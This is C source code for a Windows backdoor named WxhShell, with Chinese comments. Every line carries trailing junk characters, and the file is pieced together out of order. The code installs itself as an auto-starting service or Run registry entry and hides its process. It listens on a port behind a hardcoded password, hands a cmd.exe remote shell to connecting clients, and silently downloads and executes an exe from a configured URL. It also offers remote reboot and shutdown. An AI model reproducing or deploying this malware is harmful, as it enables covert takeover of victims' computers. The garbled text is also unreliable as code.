    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HKP<=<8/O  
    else { 2LiJ IO8N  
    closesocket(wsh); l7ZqkGG]  
    ExitThread(0); 'Wn'BRXq3  
    } cE$<6&0  
    break; \uc]+nV!o  
    } .Lr;{B  
  // 获取shell 7s4G|N[wR\  
  case 's': { Z_zN:BJ8L  
    CmdShell(wsh); ^|5vmI'E  
    closesocket(wsh); T[`o$j6  
    ExitThread(0); }G]6Rip 3  
    break; >OgA3)X  
  } Y^M3m' d?  
  // 退出 H!y1&  
  case 'x': { .D(H@3qA@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ': 87.8$  
    CloseIt(wsh); hbl:~O&a/  
    break; Sp]"Xr)  
    } W;4rhZEgd  
  // 离开 ]u?|3y^ (  
  case 'q': { z\]]d?d?;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6ey{+8  
    closesocket(wsh); 7?9QlUO  
    WSACleanup(); &G\Vn,1v  
    exit(1); mSm:>hBd  
    break; Hz ) Xn\x  
        } w &1_k:Z&  
  } JfGU3d*c  
  } h6Ovl  
y-6k<RN  
  // 提示信息 RZoSP(6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `d2 r5*<  
}  Gf_Je   
  } OyH>N/  
mE=%+:o.  
  return; .)59*'0  
} _JNSl2  
S3 12#X(%  
// shell模块句柄 )lg>'O  
int CmdShell(SOCKET sock) iY?J3nxD-:  
{ Of0(.-Q w  
STARTUPINFO si; L|ZxB7xk  
ZeroMemory(&si,sizeof(si)); o5LyBUJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =hFIH\x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dD YD6  
PROCESS_INFORMATION ProcessInfo; 3N c#6VI  
char cmdline[]="cmd"; lt08 E2p9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o-i9 :AHs  
  return 0; +lC?Vpi^  
} " b3-'/ &  
e_=TkG1E6  
// 自身启动模式 yUnNf 2i  
int StartFromService(void) RGEgYOO  
{ USd7g Oq(  
typedef struct SG \6qE~  
{ W%@r   
  DWORD ExitStatus; *I]/ [d  
  DWORD PebBaseAddress; CCDU5l$$  
  DWORD AffinityMask; ['m7Wry  
  DWORD BasePriority; | KtI:n4d  
  ULONG UniqueProcessId; W_.WMbT  
  ULONG InheritedFromUniqueProcessId; 4j|IG/m  
}   PROCESS_BASIC_INFORMATION; Sf*1Z~P|  
ba-4V8w  
PROCNTQSIP NtQueryInformationProcess; lT^/ 8Z<g  
GHNw.<`l?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6 &Lr/J76  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; moS0y?N  
f8e :J#jbS  
  HANDLE             hProcess; *'w?j)}A9g  
  PROCESS_BASIC_INFORMATION pbi; iX%9$Bft<  
[[$dPa9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {ty)2  
  if(NULL == hInst ) return 0; x52#md-Z  
HK NT. a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O NVhB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }#r awVe=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <*Nd%Ca  
}ChScY  
  if (!NtQueryInformationProcess) return 0; mqtX7rej  
hT`fAn_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v}LI-~M>U  
  if(!hProcess) return 0; ZJe^MnE (G  
}7*|s+F(f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S=}1k,I  
j*\oK@  
  CloseHandle(hProcess); xv"v='  
U ,NGV0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OUq%d8 W  
if(hProcess==NULL) return 0; !\VzX  
577#A,O  
HMODULE hMod; |'Z+`HI  
char procName[255]; !>\&*h-Cm#  
unsigned long cbNeeded; AL!ppi  
nll=Vd[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +T\<oj%}2  
!(Ymc_s  
  CloseHandle(hProcess); qj9[mBkP"  
L{&>,ww  
if(strstr(procName,"services")) return 1; // 以服务启动 <Drm#2x!E  
L;lu)|b"  
  return 0; // 注册表启动 E{0e5.{  
} qV9}N-sS  
-T}r$A  
// 主模块 )DmydyQ'  
int StartWxhshell(LPSTR lpCmdLine) egK~w8`W%  
{ uI$n7\G!  
  SOCKET wsl; mPU}]1*p  
BOOL val=TRUE; qfG:v Tm  
  int port=0; [>N#61CV 5  
  struct sockaddr_in door; OK)>QGl  
W[I$([  
  if(wscfg.ws_autoins) Install(); ul3~!9F5F  
,4S[<(T"  
port=atoi(lpCmdLine); )RN3Oz@H  
t{g@z3  
if(port<=0) port=wscfg.ws_port; 9N `WT=  
(/2rj[F&  
  WSADATA data; m.rV1#AI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z . Z  
X~UL$S;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `*cqT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'z^'+}iyv  
  door.sin_family = AF_INET; b}fC' h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O}%E SAB  
  door.sin_port = htons(port); T ay226  
<jh7G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `v@Z|rv,  
closesocket(wsl); 9i U/[d  
return 1; 1$1>cuu  
} :1Nc6G  
JN:L%If  
  if(listen(wsl,2) == INVALID_SOCKET) { Ux1j+}y  
closesocket(wsl); CcW3o"=4  
return 1; *= O]^|]2  
} ZJW8S  
  Wxhshell(wsl); T*mR9 8i  
  WSACleanup(); gm pY[  
@sG*u >   
return 0; f,i2U|1pbj  
? A;RTM  
} X $V_  
bl&9O  
// 以NT服务方式启动 .?rs5[th*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) za}Kd^KeB  
{ $W=)-X\>  
DWORD   status = 0; ,"5HJA4  
  DWORD   specificError = 0xfffffff; H>D sAHS  
Go1xyd:k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; utRO?]%d !  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 50dN~(;p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QVRQUd  
  serviceStatus.dwWin32ExitCode     = 0; PY C  
  serviceStatus.dwServiceSpecificExitCode = 0; r>! @Z2%s  
  serviceStatus.dwCheckPoint       = 0; lz6CK  
  serviceStatus.dwWaitHint       = 0; ViyG%Sm  
p#Po?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n:B){'S  
  if (hServiceStatusHandle==0) return; G /$+e  
3 ^x&G?)  
status = GetLastError(); :CezkD&  
  if (status!=NO_ERROR) +zbCYA  
{ n^$Q^[:Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gh.?6kuh  
    serviceStatus.dwCheckPoint       = 0; !~RK2d  
    serviceStatus.dwWaitHint       = 0; *~4<CP+"0  
    serviceStatus.dwWin32ExitCode     = status; #tpz74O  
    serviceStatus.dwServiceSpecificExitCode = specificError; )MSCyPp5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {`k&Q +gY  
    return; 7[0Mr,^  
  } ^t71${w##  
5#x[rr{^*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j@#RfVx  
  serviceStatus.dwCheckPoint       = 0; 3N!v"2!#  
  serviceStatus.dwWaitHint       = 0; Yc?S<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R\X;`ptT  
} ?D7zty+}^  
W`u @{Vb]  
// 处理NT服务事件,比如:启动、停止 (e~9T MY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "M+I$*]  
{ 9=6BQ`u  
switch(fdwControl) z>0$SBQ-  
{ =bP<cC=3b  
case SERVICE_CONTROL_STOP: qhG2j;  
  serviceStatus.dwWin32ExitCode = 0; _a9oHg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vol (%wB  
  serviceStatus.dwCheckPoint   = 0; YahW%mv`d  
  serviceStatus.dwWaitHint     = 0; As5l36  
  { \p}GW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Jd!x{a`>A  
  } y xT}hMa  
  return; ollVg/z  
case SERVICE_CONTROL_PAUSE: ^V9|uHOJoq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wl=yxJu_(  
  break; 5+Tx01 )  
case SERVICE_CONTROL_CONTINUE: _,v?rFLE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /E{tNd^S  
  break; 4Ozcs'}  
case SERVICE_CONTROL_INTERROGATE: Isvb;VT9L  
  break; yn@wce  
}; [~cz| C#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P0_Ymn=&  
} _-#o[>2[  
Eb6cL`#N  
// 标准应用程序主函数 ME!P{ _/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \+/ciPzA-  
{ I*JJvqh  
9An \uH)mL  
// 获取操作系统版本 #PPHxh*S  
OsIsNt=GetOsVer(); ZQir?1=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y=+OC1k\8  
[g: cG  
  // 从命令行安装 [euR<i*I#  
  if(strpbrk(lpCmdLine,"iI")) Install(); s:_j,/H0A}  
v@2@9/  
  // 下载执行文件 -vc$I=b;  
if(wscfg.ws_downexe) { K5^zu`19  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wL]#]DiE  
  WinExec(wscfg.ws_filenam,SW_HIDE); c68y\  
}  huyfo1(  
lfd-!(tXD  
if(!OsIsNt) { <tsexsw  
// 如果时win9x,隐藏进程并且设置为注册表启动 vr?u=_%Z  
HideProc(); &w`Ho)P  
StartWxhshell(lpCmdLine); Z-_Xt^N  
} S9nn^vsK  
else BG.8 q4[  
  if(StartFromService()) S1~K.<B  
  // 以服务方式启动 'Ox "YE  
  StartServiceCtrlDispatcher(DispatchTable); 9AQ,@xP|  
else #4"eQ*.*"  
  // 普通方式启动 Uugq.'>  
  StartWxhshell(lpCmdLine); UmMu|`  
<s|.2~  
return 0; m#O; 1/P  
} ;l0%yg/}  
vd$>nJ"  
BNb_i H  
-byaV;T?"  
=========================================== FjiIB1 T  
7i02M~*uS  
]:T:cO0_n  
t,0}}9%?  
vflC{,{=k>  
{-]K!tWda  
" " s_S!;w@  
Vj8-[ww!  
#include <stdio.h> U#w0E G  
#include <string.h> iYw1{U  
#include <windows.h> ux6)K= ]  
#include <winsock2.h> RF -c`C  
#include <winsvc.h> $3ZQ|X[|+  
#include <urlmon.h> SJ;{  Hg  
#}~?8/h!  
#pragma comment (lib, "Ws2_32.lib") >){}nlQf  
#pragma comment (lib, "urlmon.lib") M)wNu  
r9b(d]  
#define MAX_USER   100 // 最大客户端连接数 8NE[L#k  
#define BUF_SOCK   200 // sock buffer CQ Ei(ty  
#define KEY_BUFF   255 // 输入 buffer 0HbCT3g.  
I*a .!/$)  
#define REBOOT     0   // 重启 \)aFYDq#\  
#define SHUTDOWN   1   // 关机 7`)RB hGB  
,qV7$u  
#define DEF_PORT   5000 // 监听端口 |m*l/@1  
w_~tY*IwB  
#define REG_LEN     16   // 注册表键长度 f8f3[O!x  
#define SVC_LEN     80   // NT服务名长度 KZ65# UVX  
~% `hh9]  
// 从dll定义API "Z&_*F.[O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); opzlh@R 3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #\_FSr fX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pRsIi_~&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); **1=|aa:  
~qTChCXP  
// wxhshell配置信息 b%C7 kL-  
struct WSCFG { rF{,]U9`  
  int ws_port;         // 监听端口 #BH]`A J  
  char ws_passstr[REG_LEN]; // 口令 !kh:zTP  
  int ws_autoins;       // 安装标记, 1=yes 0=no XGYsTquSe  
  char ws_regname[REG_LEN]; // 注册表键名 }#=t%uZ/  
  char ws_svcname[REG_LEN]; // 服务名 BPOT!-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  N PqO b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }y(cv}8Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pMAFZfte!x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h*Mi/\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NNJQDkO-I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q 4Ok$~"I  
5;XU6Rz!  
}; m>!o Yy_  
W55kR.X6M  
// default Wxhshell configuration lD# yXLaC\  
struct WSCFG wscfg={DEF_PORT, !<X/_+G\  
    "xuhuanlingzhe", lX 50JJwk  
    1, HuN_$aP  
    "Wxhshell", U` )d `4"  
    "Wxhshell", DwTVoCC  
            "WxhShell Service", 7MKZ*f@x;  
    "Wrsky Windows CmdShell Service", C8(0|XX  
    "Please Input Your Password: ", AmCymT3P*e  
  1, {9Q**U`w  
  "http://www.wrsky.com/wxhshell.exe", e%7#e%1s  
  "Wxhshell.exe" VjeF3pmBa  
    }; :#N]s  
jF#Dc[*  
// 消息定义模块 N~?#Qh|ZnU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I}}>M#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WK{F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &$~irI  
char *msg_ws_ext="\n\rExit."; dtV7YPz4+  
char *msg_ws_end="\n\rQuit."; lXVh`+X/l  
char *msg_ws_boot="\n\rReboot..."; T w1&<S  
char *msg_ws_poff="\n\rShutdown..."; 7WNUHLEt  
char *msg_ws_down="\n\rSave to "; _0iV6Bj  
j5~~%  
char *msg_ws_err="\n\rErr!"; "5\6`\/  
char *msg_ws_ok="\n\rOK!"; YYe=E,q  
I&% Z*H  
char ExeFile[MAX_PATH]; cCG!X%9  
int nUser = 0; lxR]Bh+  
HANDLE handles[MAX_USER]; oC3W_vH.%  
int OsIsNt; hw B9N  
| `?J2WGe  
SERVICE_STATUS       serviceStatus; Jgq#m~M6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0R-W 9qP  
fUq #mkq}  
// 函数声明 TFXKCl  
int Install(void); "|E'E"_1  
int Uninstall(void); I 6L3M\+-  
int DownloadFile(char *sURL, SOCKET wsh); m`tX&K#-  
int Boot(int flag); m:9|5W  
void HideProc(void); ey n-bw  
int GetOsVer(void); [z'jL'\4  
int Wxhshell(SOCKET wsl); Vf$$e)  
void TalkWithClient(void *cs); PJ<9T3Fa  
int CmdShell(SOCKET sock); UhU"[^YO  
int StartFromService(void); Fj`K$K?  
int StartWxhshell(LPSTR lpCmdLine); ]na$n[T/I  
D]WrPWL8v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1 q|iw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @E"lN  
P<LmCY m  
// 数据结构和表定义 >H,E3Z  
SERVICE_TABLE_ENTRY DispatchTable[] = H=mFc@fh  
{ onIZ&wrk  
{wscfg.ws_svcname, NTServiceMain},  y&wo"';  
{NULL, NULL} Q&w"!N  
}; D8WKy  
$gCN[%+j  
// 自我安装 `yC[Fn"E^  
int Install(void) VU+=b+B~m  
{ 64Tb,AL_  
  char svExeFile[MAX_PATH]; @yF >=5z:  
  HKEY key; FgMQ=O2  
  strcpy(svExeFile,ExeFile); TQQh:y  
00yWk_w  
// 如果是win9x系统,修改注册表设为自启动 SErh"~[  
if(!OsIsNt) { \:2z!\iP`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6!([Hu#= *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *Xh#W7,<  
  RegCloseKey(key); _.I58r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `r0lu_.$]4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XQ8q)B=  
  RegCloseKey(key); LyG`q3@  
  return 0; Z1] 4:  
    } S#Tu/2<}  
  } {4)d  
} j' b0sve|?  
else { Ve<f}  
4E+8kz'  
// 如果是NT以上系统,安装为系统服务 F6"s&3D{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9~y:K$NO  
if (schSCManager!=0) }]^/`n  
{ &}\{qFD;  
  SC_HANDLE schService = CreateService [Mj5o<k;I  
  ( b~(S;1NS'  
  schSCManager, q d:"LS  
  wscfg.ws_svcname, N,:G5WxW  
  wscfg.ws_svcdisp, c{qTVi5e  
  SERVICE_ALL_ACCESS, b`f6(6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TP)o0U  
  SERVICE_AUTO_START, uO1^nK  
  SERVICE_ERROR_NORMAL, v9(N}hoP  
  svExeFile, Nnoj6+b  
  NULL, yV31OBC:  
  NULL, ezri9\Ju  
  NULL, q Oa*JA`  
  NULL, uA cvUN-@  
  NULL ;alt%:$n  
  ); dCLNZq h6  
  if (schService!=0) 1[- `*Ph  
  { <vu~EY0.  
  CloseServiceHandle(schService); %4BQY>O)@  
  CloseServiceHandle(schSCManager); u#Bj#y!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D&]xKx  
  strcat(svExeFile,wscfg.ws_svcname); $-<yX<.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /AY q^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k?/!`   
  RegCloseKey(key); qoW$Iw*q)B  
  return 0; iTF%}(  
    } 8: uh0  
  } J%fJF//U  
  CloseServiceHandle(schSCManager); i.7$~}  
} % 3fpIzm  
} n"Jj'8k  
?DnQU"_$  
return 1; )]Sf|@K]  
} y5VohVa`  
Urksj:N  
// 自我卸载 c)q=il7ef  
int Uninstall(void) zB\ 8<97 C  
{ FRQkD%k  
  HKEY key; >!c Ff$2'  
b>d]= u  
if(!OsIsNt) { @9k3}x K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W!TT fj   
  RegDeleteValue(key,wscfg.ws_regname); J|cw9u  
  RegCloseKey(key); &?gcnMg$,J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `[ZA#8Ma  
  RegDeleteValue(key,wscfg.ws_regname); KCqz]  
  RegCloseKey(key); psS^  
  return 0; +.$:ZzH#  
  } LOgB_$9_3  
} 8zwH^q[`r  
} ?pA_/wwp  
else { g26 l:1P  
;zWiPnX}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h}S2b@e|  
if (schSCManager!=0) E#kH>q@K`$  
{ 3[~LmA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [y<s]C6E  
  if (schService!=0) Q0xQx z  
  { 'n?"f|G  
  if(DeleteService(schService)!=0) { .0|_J|{  
  CloseServiceHandle(schService); kC'm |Y@T  
  CloseServiceHandle(schSCManager); J.0&gP V  
  return 0; ^Je*k)COn  
  } XU}" h&>  
  CloseServiceHandle(schService); 9,}Z1 f\%  
  } paxZlA o  
  CloseServiceHandle(schSCManager); QKoJxjR=^  
} EE qlsH  
} 2J` LZS  
Pfm B{  
return 1; zS?DXE  
}  yT(86#st  
>.REg[P  
// 从指定url下载文件 V. o*`V  
int DownloadFile(char *sURL, SOCKET wsh) ^brh\M,:@  
{ d~b @F&mf  
  HRESULT hr; ;uuBX0B  
char seps[]= "/";  mNX0BZ  
char *token; d-]!aFj|U  
char *file; 73!])!SVI  
char myURL[MAX_PATH]; ^9|&w.:@Q  
char myFILE[MAX_PATH]; .O PBET(gv  
?Y9VviC  
strcpy(myURL,sURL); 3LVL5y7|  
  token=strtok(myURL,seps); D6EqJ,~  
  while(token!=NULL) hllb\Y)XL  
  { P{8<U8E  
    file=token; 5WtI.7r  
  token=strtok(NULL,seps); ;i3C  
  } G:MQ_tfr&  
8sL+ik"  
GetCurrentDirectory(MAX_PATH,myFILE); X-%91z:o58  
strcat(myFILE, "\\"); e4 cWi  
strcat(myFILE, file); z'EphL7r   
  send(wsh,myFILE,strlen(myFILE),0); q4u-mM7#7  
send(wsh,"...",3,0); NbUibxJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'W[Nr  
  if(hr==S_OK) * @&V=l  
return 0; .r-kH&)"GU  
else T{ /\q 5  
return 1; x ~@%+d  
Zor Q2>  
} W1UqvaR  
{^K&9sz  
// 系统电源模块 hx@E,  
int Boot(int flag) E~,Wpl}  
{ it=ir9  
  HANDLE hToken; L4Si0 K  
  TOKEN_PRIVILEGES tkp; $yMNdBI[  
Vj_z"t7q  
  if(OsIsNt) { rE.z.r"O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [JVUa2Sm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O,7*dniH  
    tkp.PrivilegeCount = 1; yrR,7v J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F#7A6|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;<|m0>X  
if(flag==REBOOT) { 7p,!<X}%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z)p p{  
  return 0; x% Eu.jj  
} ^g n7DiIPH  
else { EeS VY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n0=[N'Tw3  
  return 0; #pp6 ycy  
} QgW4jIbx  
  } GvD{I;  
  else { y Ide]  
if(flag==REBOOT) { }G[Qm2k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  .tRWL!  
  return 0; 8E\6RjM  
} Kyq/o-  
else { ngQ]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fu#mMn0c  
  return 0;  Q ,)}t  
} npdpKd+*K"  
} s4Z5t$0|  
j`kw2(  
return 1; I:%O`F  
} M `bEnu  
vFGFFA/K}N  
// win9x进程隐藏模块 O&u[^s/^  
void HideProc(void) c_^-`7g  
{ 2kU=9W6ND  
^3  '7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jB!Q8#&Q  
  if ( hKernel != NULL ) rN%aP-sa<  
  { ! FVXNl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OTe0[p6v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Iz<}>J B  
    FreeLibrary(hKernel); #x;i R8^  
  } tMWsgK.B  
X}$uvB}+>  
return; Ju"*>66  
} a,sU-w!X'  
_A%8oY S  
// 获取操作系统版本 G&/RJLX|w  
int GetOsVer(void) ~L.)<{?  
{ OJ:iQ  
  OSVERSIONINFO winfo; [LJ1wBMw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3G7Qo  
  GetVersionEx(&winfo); Ph*tZrd*#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,!?&LdPt>  
  return 1; w1+xlM,,9  
  else O67.DEu^  
  return 0; mw1|>*X&R  
} Wl:vO^  
P]4C/UDS-~  
// 客户端句柄模块 H1FSN6'  
int Wxhshell(SOCKET wsl) SDTX3A1  
{ tNI~<#+lg  
  SOCKET wsh; _f8<t=R  
  struct sockaddr_in client; 4EiEE{9V  
  DWORD myID; \y9( b  
e!67Na0X(  
  while(nUser<MAX_USER) N!}r(Dd*  
{ 0b0.xz\~U  
  int nSize=sizeof(client); 4epE!`z_&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U[b $VZ}  
  if(wsh==INVALID_SOCKET) return 1; B|-E3v:f 4  
iq>PN:mr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %UuV^C  
if(handles[nUser]==0) `}/&}Sp  
  closesocket(wsh); &h.E B  
else {umdW x.*  
  nUser++; Jrp{e("9  
  } q(0V#kKC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yb8o`j+t  
E 9_aNYD  
  return 0; d(RSn|[0  
} K4]c   
Gma)8X#  
// 关闭 socket VU7x w  
void CloseIt(SOCKET wsh) |A".Mo_5  
{ }Wf\\  
closesocket(wsh); ,/n<Qg"`  
nUser--; rWKc,A[  
ExitThread(0); Fw!CssW  
} \; Io  
Sr1xG%;|/  
// 客户端请求句柄 *k:Sg*neVq  
void TalkWithClient(void *cs) 9V*h:[6a(  
{ GQXN1R   
wehZ7eqm  
  SOCKET wsh=(SOCKET)cs; ,>X +tEgR  
  char pwd[SVC_LEN]; H~1&hF"d  
  char cmd[KEY_BUFF]; /P bN!r<1  
char chr[1]; wjGD[~mB  
int i,j; W)^0~[`i  
O-r,&W  
  while (nUser < MAX_USER) { z_vFf0  
6]#pPk8[Z  
if(wscfg.ws_passstr) { @l~zn%!X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8KKI.i8`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {] 1+01vI-  
  //ZeroMemory(pwd,KEY_BUFF); yrO \\No#H  
      i=0; (rV#EA+6[`  
  while(i<SVC_LEN) { 6XPf0Gl  
Id3i qAL  
  // 设置超时 7Pu.<b}  
  fd_set FdRead; ~Aul 7[IH  
  struct timeval TimeOut; c` ^I% i  
  FD_ZERO(&FdRead); QEIu}e6b  
  FD_SET(wsh,&FdRead); =H&@9=D*  
  TimeOut.tv_sec=8; d6ZJh xJ  
  TimeOut.tv_usec=0; QGE)Xn#_bN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -gZI^EII  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GmoY~}cg~  
NLZTIZCK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )*_4=-8H  
  pwd=chr[0]; z7X[$T$V  
  if(chr[0]==0xd || chr[0]==0xa) { yZJR7+  
  pwd=0; b= <xzvy  
  break; vCE1R]^A.]  
  } __jFSa`at  
  i++; _U<sz{6  
    } e >W}3H5w0  
H2oAek(  
  // 如果是非法用户,关闭 socket #?h#R5:0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {J-kcD!bz`  
} ao>`[-  
%j9'HtjEa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s UX%{|T_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z?V'1L1gM  
OEc$ro=m*  
while(1) { I6}ine ps  
&y-(UOqbkP  
  ZeroMemory(cmd,KEY_BUFF); KrNu7/H  
67zCil  
      // 自动支持客户端 telnet标准   RM2<%$  
  j=0; Z6G>j  
  while(j<KEY_BUFF) { Z~O1$,Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gb]t%\  
  cmd[j]=chr[0]; 4f+R}Ee7  
  if(chr[0]==0xa || chr[0]==0xd) { z& !n'N<C  
  cmd[j]=0; <0!/7*;#ZT  
  break; 6`$HBX%.K  
  } 5x";}Vp>P  
  j++; G[7Z5)2B  
    } ~4YU  
v6B}ov[Y2  
  // 下载文件 0zR4Kj7EE  
  if(strstr(cmd,"http://")) { e)I-|Q4^%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uH'n.d"WG  
  if(DownloadFile(cmd,wsh)) at_~b Ox6X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jr$]kLY  
  else ]+RBykr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \%fl`+`  
  } `/en&l  
  else { 6 Fz?'Xf  
+ k1|+zzS  
    switch(cmd[0]) { KrwG><+j  
  ~s_n\r&23  
  // 帮助 Un{hI`3]  
  case '?': {  "5\<.  
